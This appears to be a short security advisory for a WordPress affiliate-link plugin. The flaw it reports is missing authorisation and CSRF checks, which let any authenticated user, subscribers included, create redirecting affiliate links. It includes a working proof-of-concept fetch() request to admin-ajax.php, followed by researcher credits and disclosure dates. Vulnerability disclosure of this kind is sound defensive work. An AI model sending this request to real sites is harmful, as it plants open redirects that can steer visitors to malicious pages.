The plugin does not have authorisation and CSRF checks when creating affiliate links, which could allow any authenticated user, such as subscriber to create arbitrary affiliate links, which could then be used to redirect users to an arbitrary website
fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": "action=ta_process_quick_add_affiliate_link&ta_link_name=test&ta_destination_url=https://wpscan.com/&ta_redirect_type=301", "method": "POST", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Krzysztof Zając
Krzysztof Zając
Yes
2022-03-31 (about 10 months ago)
2022-03-31 (about 10 months ago)
2022-04-10 (about 9 months ago)